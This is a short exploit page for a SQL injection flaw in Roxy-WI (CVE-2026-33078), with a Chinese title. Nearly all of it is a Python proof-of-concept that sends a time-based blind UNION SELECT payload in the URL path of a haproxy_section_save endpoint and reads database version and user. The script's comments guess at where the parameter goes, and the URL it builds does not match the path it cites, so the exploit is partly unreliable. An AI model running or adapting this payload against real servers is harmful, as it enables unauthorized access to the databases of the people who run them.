CVE-2026-33078 Roxy-WI存在SQL注入漏洞

import requests # Target URL (Replace with actual target) target_url = "http://target-ip:port/haproxy_section_save" # Malicious payload for SQL Injection based on the description # The 'server_ip' parameter is vulnerable payload = "1' UNION SELECT SLEEP(5), version(), user()-- -" # Assuming the parameter is passed via URL path or query # Based on description: "sourced from the URL path" # Example structure: /config/save/{server_ip} exploit_url = f"{target_url}/{payload}" try: print(f"[*] Sending payload to: {exploit_url}") response = requests.get(exploit_url, timeout=10) # Check if the response time indicates a successful time-based blind SQL injection if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed: SQL Injection triggered time-based delay.") else: print("[-] Test completed. Check response manually for errors or data leakage.") print(response.text[:200]) except Exception as e: print(f"[!] An error occurred: {e}")